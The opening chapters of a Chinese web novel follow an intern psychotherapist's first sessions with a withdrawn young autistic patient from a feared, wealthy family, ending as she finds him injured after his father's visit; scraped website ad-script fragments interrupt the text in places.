《星星不语》 1. 病例 《星星不语》 沐戚美/著,2024年晋江独发 --------------小王子-------------- 从市区坐车一路到半山腰,眼前的景象逐渐从喧闹繁华过渡到悠悠静谧。 一场阵雨刚歇,公路两侧的银杏向远处无边延伸,青翠的叶片水露折光。 夏初浅从仅有她一位乘客的大巴上下来,步行大约一公里,在一幢别墅前驻足。 山间空气清冽,后山湖水毗邻。 本该是一座远离尘嚣的桃源仙境…… 她攥着帆布包带的手微微发汗。 眼前,别墅外围高耸的黑色护栏仿佛从地狱里窜出的刺,排布得非常密实,挤不进去半个人。 监控无死角,自动侦测功能随人旋转,好像“恶魔之眼”监视周遭的风吹草动,对胆敢冒犯的生物施以严刑。 跟桃花源不沾边,更像是牢笼或监狱。 鸡皮疙瘩应景地浮出来,夏末时节,她背脊发凉,不由地搓搓手臂。 * 一个月前,“光明倾听者”心理咨询诊疗所。 会议室中,长长的木质桌子围坐两排人。 徐庆河双手撑桌,打量眼前的中年人们,只见他们一个个的都闪躲他的目光,似乎料想到他接下来要说什么了,但并不想扯上关系。 除了…… 他直起身子,眺向坐在离他最远的两个稚嫩面孔。 两个小姑娘正抱着笔记本,手握笔,眼睛瞪得圆溜溜,随时准备学习取经。 她们是理大心理学专业大四的学生,来他的诊所实习。 徐庆河将面前的资料夹向前推:“这次我们对秋末染的治疗依旧不理想,效果甚微。大家还有什么提议,或是想尝试的新的治疗方法?” 话音一落,会议室里愈发鸦雀无声。 假装忙碌地翻着手中资料的一双双手全停下。 徐庆河环抱手臂,语带无奈:“这确实是医学界目前还无法攻克的难题,病人本身的情况也更特殊些,但……” 他又一次问:“还有谁想试试看吗?” “徐教授,我们都尝试过了……”其中一个医生应道,无奈的语气夹着轻叹,“况且,最近大家都同时接着好些个病人,真的忙不过来。” 所言非虚,但躲避的心思更重。 话毕,众人附和点头。 都是职场老油条,藏掖的话是什么彼此心知肚明,徐庆河不屑用权威压人,他沉默着轻捏眉心。 九年前,徐庆河从任职了三十多年的大学退休,开了这间心理咨询诊所,他在神经学和心理学上都有所建树。 秋末染是诊所接诊的第一位病人。 九年来,诊所里拥有行医资质的治疗师,陆陆续续都尝试过对秋末染进行治疗,可是效果微乎其微,最终放弃,转接给下一位治疗师…… 循环往复。 原因有很多—— 有对秋末染的病症缺乏足够认识和理论基础的,不属于其主攻范畴;有使出浑身解数却依旧一筹莫展的;有确实忙得腾不出手去下功夫的…… 当然,以上缘由半真半假。 最真实的那个原因是诊所里公开的秘密。 众人默契地低头缄默。 见此场景,徐庆河微不可闻地叹息。 他不会强人所难,但还是想尝试说动:“想想看,这一单的报酬抵得上你们接二十单了。再说,把秋末染当做研究对象,如果能在这一领域有所突破,不是造福他人又成就自己?” 话语足够诱惑。 但这种刀架在脖子上的事,只怕有命赚钱没命花,拼死拼活做出点成果最终被铭刻在墓碑上…… 大家是具有研究精神的学者,但更是怕死的人。 于是,众人无动于衷。 徐庆河无奈地摇头,白色压倒黑色的头发左右轻晃,让他更显无计可施。 现场的气氛实在沉重。 安雅手捂在嘴边,悄声询问身旁的夏初浅:“秋末染是谁呀?” 夏初浅困惑地摇摇头。 小互动引起一位同事的注意,他看着两个小姑娘,提议:“徐教授,要不……让实习生们试一试?” 数道目光应声集中在夏初浅和安雅的脸上。 “可这会不会太冒险了?”有人质疑。 “她们虽然经验不足,但胜在想法多、创新性强。”医生阐言,“二十出头的年纪,和秋末染年龄相仿,同龄人之间更容易敞开心扉去相处,更容易亲近,不是吗?我们来辅助她们,也许能找到更好的方法?” 说罢,他看向徐庆河,等待定夺。 “是很冒险。”徐庆河食指摩挲下巴。 沉思片时,他若有所思地点点头:“但这也许是个好的尝试。我们一直太桎梏于在理论中寻找解决办法了,也许换种思路,让秋末染和治疗师换一种相处模式,可能会收获意想不到的结果。” 他看向夏初浅和安雅,眼神和话语中透着鼓励:“你们谁愿意尝试?” “我我我!我愿意!”安雅自告奋勇,积极地举手自荐,又拉着夏初浅的手也举了起来,“我和浅浅都愿意!但是徐教授,您能不能先告诉我们秋末染是什么病情呀?我们听了半天还云里雾里的。” 夏初浅被动报名了,迎着众人的目光,她五指收拢,举着个虚虚的拳头。 她不是安雅那种性格测试所有指标都直奔“e”去的人,她温和内秀,没把握的事不会轻易揽下,但她不懦弱,始终保持乐观且热衷于尝试。 “这是秋末染从三年前开始治疗到现在的全部资料,你们拿去做参考。” 资料从徐庆河手里传到俩人面前。 安雅翻开册子,第一页是秋末染详细的个人信息,许多专有名词蹦进视线。 当看到秋末染的病名时,安雅打起了退堂鼓,她支吾道:“对不起啊徐教授,我、我恐怕不能胜任……” “没事。”徐庆河微笑回应,视线落向夏初浅。 夏初浅明白闺蜜退却的原因。 她没有一口应下,恬然与徐庆河对视:“徐教授,我想多点时间考虑,可以吗?” 徐庆河温润地答:“当然。” * 会议结束,大家回各自的工位。 下午时分,夏初浅独身一人敲开了徐庆河办公室的半透明玻璃门。 徐庆河闭眼仰靠软椅,右手在脸前横跨打开,拇指和中指按压太阳穴,忧思深重。 闻到推门声后他抬眸看来:“小夏,进来。” 夏初浅将门关好,在徐庆河面前站定。 “考虑的怎么样了?” “徐教授……” “怎么了?尽管说。” 咬紧下唇,夏初浅双颊腾起赧然的粉红色,她问出了那个非常实际但又难为情的问题:“徐教授,我想问……就是……接秋末染那个单子,能……” 她满眼渴望:“赚钱吗?” 闻言,徐庆河明晓这事十有八九有着落了。 他将秋末染的病历资料推向桌角,语调和蔼而稳重:“何止有钱赚啊,小夏,这一单的薪酬是你实习工资的百倍。如果能见到成效,酬劳更是随你开口。” “真的?” “我个老头子还能骗你不成?” 夏初浅负在身后的手因为喜悦而搅来搅去,面子上倒是表现得不惊不喜。 她的小动作逃不过徐庆河的鹰眼,年轻人总是无所畏惧的,他赞赏,同时忧虑。 “小夏,报酬丰厚,相应的难度与挑战不可同日而语。”徐庆河不做隐瞒,“这确实是一次很好的历练机会,老师看好你,但老师同时希望你考虑清楚再做决定。” 听后,夏初浅上前一步,抱起秋末染的病历册放在胸前。 没多言语,她的决定已经明了。 “徐教授,我做了功课,我清楚秋家的背景。”她不大的声音里充满了坚定,“我想试试。” 既能赚钱,又能积累经验,何乐而不为? 再者,秋末染的病情跟她的毕业论文相关,他是个绝佳的研究对象,这次机会毫无疑问利大于弊。 至于其他人避之不及的那个原因,她并不畏惧。 “好。”见夏初浅决心已定,徐庆河颔首,“小夏,你不要太有压力,尽力就好,我会协助你。” 夏初浅微扬嘴角,鞠躬表示感谢。 她翻开病历册的第一页,本该贴有秋末染照片的右上角一栏空白神秘。 指尖在照片栏打圈摩挲,纸张摩擦皮肤生出微妙的电流,仿佛隔空和那个少年获取了感应。 想了想,她平静地问:“徐教授,秋末染、秋家,真的有那么危险吗?” “不拘泥于表面,不轻信表象,透过现象看本质是我们的使命。”徐庆河的回答讳莫如深,神色却泰然得令夏初浅安心,“比起听信别人的话,你更应该亲自去观察、去剖析,然后相信自己的判断。” 他笑着补充:“对秋末染的治疗随时可中断,你有这个权力。” 源源的勇气汇入心头。 夏初浅从照片空白栏上抬起眸子,眼神熠熠:“嗯,徐教授,我会努力的。” * 雨后空气带着泥土的气味。 门顶水珠坠落,碎在夏初浅的白色帆布鞋边,她不时和头顶的监控相看一眼。 未知让她柔和清丽的脸庞稍显紧绷,暮春时节的樱桃般红润透亮的唇咬得很紧。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 约了每天下午三点来访,她在门口站到了两点五十九分,才深呼吸按下门铃。 “叮咚——” 几声响后,铁艺大门开启。 带着电流的苍老人声从可视对讲传来:“夏医生,请进。” “好,麻烦您开门了。” 前院空旷,栽种一些很常规的花草树木,谈不上美观雅致,欧式风格的三层别墅倒是从外观上看极致华丽典雅,夏初浅忍不住欣赏暗叹。 走近,雕花白檀木门前站着一位老者。 老人约莫六十岁,气色很好,腰杆笔挺,衣着讲究,由内而外散发出老派绅士的气质。 他眉目带笑望着夏初浅,看起来和蔼可亲。 夏初浅赶紧小跑上前。 “夏医生,您好。我是这里的管家,姓刘。”刘世培客气地伸出右手。 夏初浅握上去,谦和地说:“刘管家您好!我是心理治疗师,我叫夏初浅。” 刘世培笑笑,邀请夏初浅进入别墅。 不同于奢华的外观,别墅内部单调得可怜。 除了必备的几样家具之外,几乎再无他物。外部君临天下,内饰宛如冷宫,桌子椅子等但凡有棱有角的家具,全部都包上了厚厚的海绵。 别墅的吊顶很高,显得整个空间更为寂寥。 “夏医生,请坐。” 在刘世培的示意之下,夏初浅坐上沙发,拢了拢领口,做出一派沉稳的气势。 “夏医生喝点什么?” “不用了!不用了!”她连忙摆手,一秒破功。 说实话,她内心是有点恐惧的。 许是电视剧看多了,总有些奇奇怪怪的念头干扰她的脑神经,比如什么茶里下毒啦,什么沾着乙酉迷的手帕从身后伸出捂住她的口鼻啦…… 摇了摇头,她强行抛去这些乱七八糟的想法,暗暗骂自己一句神经病。 害死她一个无名小卒,秋家能有什么好处? 停止胡思乱想,夏初浅注意到,秋许明和秋末染并不在这里,便问:“请问,秋先生和秋末染呢?” “秋先生很少回来。”刘世培礼节性沏茶,“今天的事秋先生委托我全权代理。夏医生不必担心,我可以算作少爷的监护人,一切事情找我商量就行。少爷……” 刘世培看向楼梯:“他在二楼,我等会儿带你上去。” 夏初浅不露声色地想,因为她只是个小小的实习生,秋许明才不露面的吗? 但很快松了口气。 她,普通市民夏初浅,暂时还没那个信心和魄力,跟大佬呼吸同区域的氧气…… 没了心理负担,夏初浅拿出专业的态度,从包里掏出一沓资料和一张合同。 “刘管家,我从今天起接手秋末染的治疗。他这九年来的病情记录我全部熟读。” “我针对他的情况制定了新的治疗计划,为期九个月,分三个阶段,每个阶段三个月,这里是详细的治疗计划,请您过目。” “但要视情况而定,我会根据秋末染的表现和状态随时进行调整。刘管家,您有什么问题尽管告诉我,我完全尊重家属的想法,请您放心!” 刘世培接过资料,捻纸翻看。 一页一页,满满当当记录着小姑娘这些日子起早贪黑、废寝忘食的成果。 计划科学合理,以及那三指厚的文献,实在让人叹她敬业。她分析了所有能查找到的、与秋末染相似病情的病人的治疗手段和干预方式,密密麻麻的备注看得人眼花。 徐庆河没有对秋家隐瞒她只是个实习生的事实。 既然对方已知她的专业技能目前还不够过硬,那她至少要在态度和程度上让对方无可挑剔,从而让秋家人安心地把秋末染交付于她。 刘世培眼前一亮:“没什么问题,夏医生很用心。” “这是我应该做的。” 看着刘世培在一纸合同上签下名字,夏初浅按捺激动,珍而重之地收好合同。 这是她正式接的第一个单子。 秋末染是她负责的第一位病人。 谈妥后,刘世培笑盈盈地招呼夏初浅上楼:“少爷在二楼,夏医生,请跟我来。” 他们来到别墅二楼走廊尽头的一间房。 湿润的风从半开的窗户吹进来,卷一片银杏叶,被面前的门隔绝在外,莫名寂寥。 刘世培轻轻叩门,唤了声“少爷,我和夏医生进来了”,而后,他推开门。 夏初浅心脏漏跳一拍—— 房间被深不见五指的黑暗填充。 顷刻,午时的光线溢进室内,色温较高的绒绒黄色驱赶了稍许空寂的氛围。 屋内某处,一个年轻消瘦的身影猛然颤抖,他瑟缩成团,似被微光烫到。 2. 相见 夏初浅无法立时适应这突如其来的暗色,她瞪大眼睛,借着走廊的光让目光穿梭。 房间很大,陈设极为简单,只有一张床、床两侧的床头柜和嵌入墙面的衣柜。 冷森森的,毫无生气。 全然感觉不出里面住了个人。 她有些惊讶,却看到刘世培脸上习以为常的表情。 大脑短暂放空,夏初浅拦下刘世培准备开灯的手,她低语:“我进去了,交给我,您去忙吧。” 刘世培会意:“少爷就拜托您了。” 她微笑回答:“您放心,我一定尽力!” 关上门,夏初浅没有打开灯,她摸黑走到窗前。 厚重的深灰色绒布窗帘不具透光性,仿佛是将光明和黑暗两个世界隔绝开来的壁障。 她将窗帘拉开一道缝,一点一点增加屋内的亮度会让他更容易适应和接受。 阳光经过窗帘形成一道光柱,不足以照亮整间屋子,角落里那个蜷起的身影缩得更紧。 原来在那儿。 “不喜欢阳光吗?” 夏初浅转身,眼睛寻到了那个人—— 他双臂环着膝盖,双腿交叉,脑袋深深埋在臂弯,姿势固定如一尊雕像。 话音在空荡的大房间内四处碰壁。 意料之中的无人应答,夏初浅抿嘴浅笑,不急,也不恼。 走到那人跟前,她静静看他蓬密的头发、纤细的脖子和修长笔直的手指。 他消瘦的肩膀随着她脚步的接近而逐渐收紧,她忽然幻视一只被困于囚笼不安的小兽。 “为什么坐在这里,也不喜欢床吗?”她在他对面坐下,学着他的姿势抱住了自己的双膝。 他一言不发。 “你好,我叫夏初浅。”她耐心试探,声音无比轻柔,“你叫什么名字?” 她的问题像块石头被抛向大海,沉入海底。 等待两分钟,她自顾自说出答案:“秋末染。秋毫之末,一尘不染……你的名字真好听。” 是他,秋末染。 男,十九岁,正如病历上写的那样—— 自闭症,伴癫痫和语言障碍。 被叫了名字,秋末染清浅的呼吸倏乱一拍,脑袋像鸵鸟埋沙一样埋得更深。 夏初浅:“……” 本想套近乎的,哪知唤他名字的这个行为,竟和猎人对着小动物开弓射箭一个效果。 怕他保持敏感,她转移话题:“我还没做自我介绍呢!” 她细瞧他的微动作,努力让声音听起来更加亲切:“你好,我叫夏初浅,是一名心理治疗师。以后我每天都会这个时间过来,陪你说说话,聊聊天。你不用害怕我,我不会伤害你,你也不用害怕治疗……” 顿了顿,她显出少许的难为情:“其实,也算不上治疗,我现在还不够专业,肯定比不上之前你接触过的那些治疗师啦……我们就像朋友一样相处吧!我只比你大两岁半,我们一定会相处得很融洽的!” 不知道一番话中的哪个词触动了秋末染。 倏而,他抬起了头。 少年眉目清隽。 双眸如玻璃珠般澄澈清亮,眼皮透薄,褶皱偏浅,右眼睑后半段附着一颗深咖色的泪痣。 夏初浅心里小小地“哇”了一声。 来之前,她曾在脑海中绘制过秋末染的画像。 她想象中的他,会和秋许明很像,模样硬朗、棱角分明,眼神冷漠中透着让人无法抗拒的霸气,是一个浑身散发着杀气和鲜血气味的男人,而秋末染还会和其他自闭症患者一样,乖僻麻木,不通人情。 可眼前这张过目难忘的脸,她万万没有想到。 他目光久久地落在她脸上,似乎带一丝探寻。 就在夏初浅恍惚以为时间都要静止的时候,那纤长的羽睫忽地扇动。 她如梦初醒。 眼球传来的干涩让她意识到她看了他太长时间。 夏初浅绝非颜控,但爱美之心人皆有之,好看的人谁都会忍不住多看上几眼。 更何况这么好看。 有点失态,她赶紧整理好情绪,从包里拿出纸笔:“我们先做一套测试好吗?” 这是专门针对疑似患有自闭症的患者而设计的题目。 秋末染患有自闭症已板上钉钉,这套题目的作用是帮助夏初浅来初步判断他目前病症的严重程度,此外,她还准备了其他的专业测试题。 秋末染的目光在夏初浅手中的题目上短暂停留。 而后,他又环抱起了自己,垂眸,安静地盯着脚边的地板,默不作声。 自闭症的其中一个特征就是对声音和语言反应迟钝,需要说话的人反复重复才行。 以为他没接收到信号,她又说了一遍。 他微垂的眼眸用力闭合了一下,然后稍稍撇开头,似乎是听懂她的意思,却并不想和她交流。 见秋末染排斥接受诊断,夏初浅大脑飞快运转,片刻后,她做出决定。 她将手中的测题放回包里,收了起来。 其实当下再测一次也没太大的意义。秋末染这三年的所有测试结果她都详尽分析过,没有进展和突破,就算她再来一遍结果也大差不差。 “你不喜欢做测试题是吗?” 知道他不会回应自己,她没停顿,接着开口:“没关系,我也不喜欢。每个人都是独一无二的,怎能仅通过几道题目来判断你是什么样子的?可是,我又很想了解你,很想和你交朋友,很想和你说说话……” 也不晓得他听懂了没,她兀自说:“直到进你的房间前我都很紧张很紧张。我第一次面对面负责一个case,而且,你爸爸是个……是个很厉害的人。虽然紧张,但我每天都忍不住想,你会是什么样子?长什么样?个子高吗?是胖还是瘦?我没想到,今天见到你……” 她眼里的柔光浓重了几分,字字恳切:“你比我想象中,要美好得多。” 闻声,他再一次与她视线相撞。 眸光静若止水,看不出藏着什么情绪。 夏初浅还不知道,那日,她说的话秋末染全部听得懂。 他第一次听到有人这样说,从小到大,“美好”都不是用来形容他的词。 * 夏初浅没有说谎。 她之前接触过的自闭症患者大多带有攻击性。 尤其小孩,他们会无缘无故哭闹,大喊大叫,旁人好心安慰,却被他们咬伤或抓伤,因为他们并不能分辨这究竟是安慰还是不怀好意的接近。 可能是出于自我保护吧,她不确定,毕竟谁也读不懂这群“来自星星的孩子”。 让人怜爱、无奈又无比头疼。 但秋末染貌似更接近正常人。 在这短短的相处过程中,夏初浅不难判断出:他的理解能力和共情能力没有想象中那么差,他甚至给了她眼神交流和简单的情绪互动。 以及,他并不排斥她。 夏初浅趁热打铁,粲然道:“在成为你的医生之前,我更想先成为你的朋友,想什么说什么的那种朋友。可以给我一个机会吗?” 依然没有口头回应。 但少年的眼神告诉夏初浅,他在听。 “那以后……”她真诚地望着他问,“我可以叫你小染吗? (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 不点头也不摇头,少年面无表情。 夏初浅自然料到秋末染不会回应自己,她直接冲他轻轻地唤了一声:“小染。” 她想试探他的反应。 秋末染俯身抱膝,大半张脸藏进臂弯,仅露出长了泪痣的右眼默默盯视她,如看不透的湖面。 末了,他极其轻微地点了点头。 ……!!! 夏初浅心里狂喜,表面却只是温和地笑笑:“那小染,你以后就叫我浅浅吧。” 没高兴几秒,她的目光被他的手臂夺去。 他穿薄荷绿色的衬衣,刚一动,衣袖卷了上去,赫然露出一截伤痕累累的小臂。 是外伤。 自闭症患者常伴有癫痫,发病时,由于无法控制肢体,磕磕碰碰的在所难免,很容易受伤。 想必,他手臂的伤痕便是癫痫发作造成的吧,看不到的地方或许还有伤…… 一阵细微的疼痛窜上夏初浅的胸口,她想起了进入别墅后看到家具家电四个角都包着的海绵。 说不疼惜是假的,这样一位漂亮的少年托着残破的身体过活,任由谁看了,都一定惋惜。 正当她斟酌措辞,如何才能以秋末染不抵触的用语去关心他的时候,他的眼神骤变。 ——竖起了堤防和冷意。 是受伤的野兽在入侵者踏入领地时会显露的状态。 夏初浅有些错愕。 她尝试让他平复心绪,可他不再给任何回应。 片刻后,许是察觉到夏初浅并无敌意,秋末染再度严密地蜷缩起来,自我封壳。 他回到了她刚见到他时的那个模样。 任她再怎么语言攻势,他都不为所动。 默叹一声,夏初浅明白自己任重而道远了。 * 治疗时长为两个小时,后面的时间,夏初浅担心再多的强制介入会引起秋末染不适与反感,适得其反,便由他维持他最舒适安全的状态去了。 第一天嘛,总得给他适应的时间。 她起身,走到床边拉下被子拖到秋末染的身边,从身后用被子包裹他。 虽是夏末时节,但半山海拔高,房间又常年不晒太阳,染着潮气的凉意入骨缝。 让夏初浅欣慰的是秋末染没有拒绝她的好意。 她站在原地不惊动他,环视四周,观察他的卧室。 自闭症患者大多有强迫症或强迫行为,生活用品有自己特定的摆放习惯,不许他人改变。 然而秋末染的卧室实在过于空荡。 难琢磨的小孩,一点线索都不给她…… 唯一有参考性的,是床头柜上的一本画册。 画册封面是再普通不过的牛皮纸,看得出他经常使用,封皮右下角有三角折痕,三边磨损陈旧。 夏初浅不敢轻举妄动。 眼下这种气氛,她还是不要去翻他的画册为好。 再说,她看普通人的东西都要打声招呼,征得同意,自闭症患者的私人物品更要慎重。 治疗时间到,夏初浅俯身对秋末染轻声说:“小染,我走啦,你好好休息,我们明天见。” 他软软的头发随呼吸同频鲜活颤动,她好想摸摸,职业操守让她忍住了。 自闭症患者不喜欢被触碰。 离开前,她心情复杂地回头望了眼,少年仍保持着那个可怜巴巴的姿势。 关上门,她惆怅又心疼。 下楼时,夏初浅看见刘世培正候在楼梯口,看似是想问问她治疗的情况如何。 她快步迎上前。 正巧,她也有问题想搞清楚。 3. 转机 两人来到客厅,并排坐着。 夏初浅反馈了当天的治疗进度后,单刀直入:“刘管家,虽然目前学术界对于自闭症的症因众说纷纭,有说是因为基因突变,有说是因为不良的母体子宫环境,还有说是被出生后的生长环境影响的……” 刘世培品茶,似乎知晓夏初浅接下来问什么。 见刘世培喝了,夏初浅才端起杯子喝一小口。 “刘管家,据我初步判断,秋末染的病情先天因素不占主导,更多的是后天影响。换句话说,他的自闭症症状较轻,或者在这些年的治疗中已经有了明显的好转。可是……” 稍作停顿,她说:“他目前呈现出来的状态很奇怪。” 她仔细捕捉刘世培的微表情:“秋末染是不是曾经受过心理创伤,而您没有告知我们心理医生?” 闻言,刘世培放下茶杯,浅笑道:“夏医生很直率,还没有哪个医生如此质问过我。” 夏初浅咕咚咽口水:“……” “我知道的都在夏医生的病历记录里了,毫无保留,相信夏医生也早有过目。”刘世培给夏初浅添茶,一双布满褶皱的眼坦坦荡荡,“我不知道的部分,就麻烦夏医生替我问问少爷吧,我比谁都希望他痊愈。” 话毕,刘世培招呼夏初浅端杯细品:“陈皮茶。少爷爱喝,不知夏医生能否喝得惯?” 很明显的转移话题,但并无威胁之意。 秋家人好像没有传闻中那么魑魅魍魉。 夏初浅双手捧杯,吹了吹,喝下一口放口腔中细细回味,苦涩中带酸甜,很爽口。 她点点头:“嗯。喝的惯,很好喝。” 间隙,她窥察刘世培,他不像在撒谎隐瞒。 两人就秋末染的症状又详聊一番,和病情记录里的并无二致。 从对话中夏初浅推断,或许秋末染的病真的有隐情,而这段隐情刘世培不知情,此前接手过秋末染的心理治疗师也没问出来,只能她慢慢去摸索了。 有些事不可图一朝一夕,急不得。 这是夏初浅的处事之道,她安心品起茶来。 一杯下肚,身子渐暖。 她自然而然关怀道:“刘管家,等会儿端杯热茶给小染吧,他穿得少,喝杯茶暖暖身子,您去送他不堤防。天转凉了,茶里可以煮点生姜或者红枣,尽量让他别坐地板上了……” 话毕,她面露羞涩:“他现在……还不听我的。” 刘世培眼底闪过一丝意外。 小姑娘实在真诚,似是动容,他的语气愈加温蔼:“好,夏医生有心了。” 他又问:“夏医生,需要司机开车送您回去吗?” 夏初浅一向分得清,她和秋家是雇佣关系,让秋家的专属司机送她有点超出关系范畴了。 她礼貌回绝:“刘管家,谢谢您的好意,我心领了。我自己坐车回去就好,现在还早,车次很多,不用您费心。您报销路费我已经很感激啦。” 刘世培不做强求,笑道:“好,夏医生有需要尽管开口。” 走到门口,夏初浅忍不住好奇问:“刘管家,您知道我才大四在读,专业储备有限,为什么还愿意让我来试一试呢?您明明是位理性周到的人。” 刘世培替夏初浅推开铁门,侧身,方便她出门,礼数周全,又不会给人过度殷勤的压力。 “专业的心理医生很多,我们也尝试过。现在,我们想寻找一位有某种特质的医生。” “什么特质?” “我也不知道。非要说出个一二,大概就是需要和少爷磁场契合吧。是不是有点玄妙?”刘世培笑容稍显苦涩,“所以,专业度可以放在第二位了。” 夏初浅大致明白了。 他们在找能打开“盒子”的“钥匙”。 * 待夏初浅离开,刘世培去厨房煮了一壶红枣生姜陈皮茶,端着托盘去了秋末染的房间。 托盘上还放了几块少年爱吃的小点心。 刘世培敲门进去:“少爷。” 听到开门声的秋末染应激般直起身来,警惕地死盯门口,见来者是刘世培,他的背脊瞬间松弛,继续眺望窗外发呆,孤独拥抱着自己。 暗冷许久的房间溢进半尺阳光,玻璃上雨痕斑驳交错,窗外景色朦胧失真。 眼睛酸了,他眯起眼眸,脸庞微扬。 他的皮肤是少见天日的白,雨后晴阳浅吻轻啄,有点刺激,又很惬意,像吃了几粒跳跳糖。 刘世培走到秋末染身边,将托盘搁在地板上:“少爷,喝点热茶吧。” 秋末染接过杯子,鼻翼翕动。 不同于以往的辛辣盘旋于鼻腔,他微微蹙眉。 “今天加了生姜和红枣,不知少爷觉得可口吗?”刘世培也席地而坐,“生姜辣口,我带了几块甜口的,少爷就着吃。甜味中和辣味,口感更好。” 少年浅抿一小口,眉间的皱痕加深。 白到透亮的指间戳戳杯壁,明眸直视刘世培,他轻轻摇头,是在回应“可口吗”这一问题。 刘世培笑笑:“那就不喝了,我去准备陈皮茶。” 再次备好茶水回来,一老一少偎着棉被吃下午茶。 秋末染拿起一块纯手工制作的精美点心,递给喝加了生姜和红枣的陈皮茶的刘世培。 ——“就着吃,甜味能中和辣味,这样口感更好。” 少年听得懂,也记得牢。 刘世培眼角笑出深密的鱼尾纹。 他接过,也递一块给秋末染,一边咀嚼一边眉毛上扬,用表情表示他吃得很开心,而秋末染只是安静地看着,毫无情绪波动地嚼烂食物。 被子从少年的肩上滑落,松垮的衬衫将他衬得越发单薄,纽扣系得参差歪斜,腹部露出一块空隙,青紫色的淤痕匍匐在他惨白的肌肤。 不是癫痫的祸。 吃完后,刘世培收拾好餐盘茶杯。 退出房间前,他回头驻足,只见秋末染身披被单,仍瑟缩在角落眺向窗外出神。 刘世培掩上房门,心里五味杂陈。 他发自肺腑地祈祷:但愿此次能有所不同。 * 一个月过去,夏初浅对秋末染的治疗没有任何进展。 她每天不厌其烦地问着秋末染各种问题,同他讲话,试图和他互动、和他聊天。 而秋末染始终窝在房间角落,要么发呆放空,要么机械性地画一张张迷宫,没有表情,也看不出情绪,吝啬到连一个音节都不肯发出。 她每天来他的房间都是黑的。 好在他默认接受她拉开窗帘让他见两个小时的太阳。 每周出一个心理测评:【患者情绪稳定,有待继续观察。】 拿给刘世培和徐庆河看都怪不好意思的…… 夏初浅有时候会想,也许自己在秋末染眼中就是个唱单口相声的傻瓜。 傻瓜就傻瓜吧…… 她倒希望他嘲笑她。 她好想听他说说话。 * 午饭时,安雅忍不住八卦:“浅浅,怎么样呀?” 瞧着闺蜜眉毛抖得都快飞进碗里了,夏初浅失笑:“就和前辈们一样,很不顺利啊。” 安雅怜惜地夹了一块红烧肉到夏初浅碗里:“辛苦了,多吃点肉补补。浅浅,你要不就趁现在给徐教授说你有心无力吧,赶紧交接给别人,别蹚浑水了。” “蹚浑水?”夏初浅觉得安雅言重了,“秋家没有传说中那么恐怖啦!就是普通有钱人家的样子,管家和佣人都挺好打交道的。我做我的本职工作,又没怎么样。” 安雅一脸不信,盘里的菜被翻得横三竖四:“那可是‘头颅猎人’秋许明啊!他家管家佣人好说话,他生出来的儿子高低是个‘小魔王’。” 头颅猎人、小魔王…… 雷得夏初浅吃口饭压压惊,安雅最近一听就追剧了。 秋许明她无法反驳,但一个月相处下来,那个十九岁少年在她心目中的形象很干净安宁。 夏初浅回敬一颗鹌鹑蛋,眉头微拧:“好啦,雅雅。我知道你担心我,我会保护好自己的。我们要尊重患者隐私,就不聊这个话题了哈。” “好啦……”见夏初浅面色有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 些严肃,安雅举起双手作投降状,转而又兴奋道,“浅浅,你说,你会不会乱拳打死老师傅?初出茅庐就把顽疾治好了?” 这句话半开玩笑半肯定。 夏初浅是徐庆河的得意门生。 她成绩优异,做事尽心尽力,性格沉静话不多,却很清楚自己想要什么、要去做什么、怎么去做,不然徐庆河也不会把硬钉子交给她去撬。 夏初浅本人的信心倒是被这一个月的一无所获磨得有点消减,她将耳鬓蝉丝般的碎发挽到耳后,便于吃饭,温婉地笑笑:“祝我好运吧。” 白皙的手腕盈盈一握,她没有十指不沾阳春水,但双手的每一个关节都不失莹润柔美。 巴掌大的脸蛋唇红齿白,不施粉黛,随意扎发,五官都不是最突出的那个,但搭配起来就像精心构图的水墨画,每品一次,韵味便悠长一分。 她是带些古典韵味的美人。 非常耐看。 就是不好好打扮自己。 安雅道了句“祝你好运”后,看着夏初浅身上过时的T恤和牛仔裤。 她恨铁不成钢地咬牙:“浅浅,你底子那么好,做不了校花做系花绰绰有余,干嘛打扮得像个村花!谁家小姑娘不想着把自己装点得更招人、更时尚,哪有你把自己往普通打扮的?便宜又漂亮的衣服也有很多啊!” 夏初浅不恼不解释,笑着岔开话题:“‘头颅猎人’,这个名号挺贴切的,雅雅你放心,你这么有创意,我会一字不差转达给秋先生的。” 她当然说笑的。 安雅惊恐抱头:“别呀!我不想英年早逝!” * 吃完饭,夏初浅回诊所整理了一下近一个月的资料,看时间差不多了,她步履匆匆赶去秋家。 大巴上,乘客寥寥,夏初浅习惯坐最后排。 山径鸟叫蝉鸣的脱俗感很适合用来静心思考,她右手支在窗框上托着下巴。 虽说自闭症在医学界目前还不能被完全治愈,但经过系统性的干预和治疗,患者拥有很大的可能性恢复到正常的语言习惯和实现生活自理。 这一点,她很乐观。 患有心理疾病的人都有着酿下疾病的祸因,或是一段不堪回首的经历,或是来自外界的强刺激,只要找准根源,进行一定的心理疏导便会改善。 这一点,有些棘手。 拔不出刺,肉就会一直痛着。 她现在连他心里的“刺”都找不到。 缓缓一声叹息,夏初浅明白焦虑无意义,索性暂时清空大脑,去欣赏沿路的风景。 一辆黑色迈巴赫和大巴相向而行。 速度之快,碾碎路边堆积的银杏落叶,卷起支离破碎的叶片残渣和尘土。 这一个月,这条路上鲜少见到私家车,更别提豪车了,擦身而过之间,夏初浅便多留意了两眼。 后排座位,一张一闪而过的侧脸让夏初浅感到陌生又熟悉,直到到站下车,她还琢磨着。 她一如既往按响门铃,等了好半天,才等来刘世培的话:“夏医生,少爷今天的治疗不能进行了,麻烦请您回去吧,实在不好意思。” 刘世培喉声发哑,扩音器的杂音都难以粉饰。 霎时,那个侧面轮廓和某个人物对上了。 夏初浅心里咯噔一下,在刘世培挂断通话前喊道:“是不是小染出事了?或许我能帮忙!” “这不是您职责之内的事。” “请您让我进去吧!” “……” “刘管家,拜托了!” “现在的情况有点麻烦……” 夏初浅急到拍门,铁门哐哐作响:“我不怕麻烦,我也不给你们添麻烦!” 直觉告诉她,转机就在今天。 俄而,刘世培略带犹豫地回应:“好,我给您开门。” 白檀木门前,刘世培考究的衣着此时凌乱。 夏初浅见刘世培没制止她,便大着胆子挤进了屋内,直奔秋末染的卧室。 果不其然—— 秋末染浑身是伤。 秋许明刚来过了。 4. 受伤 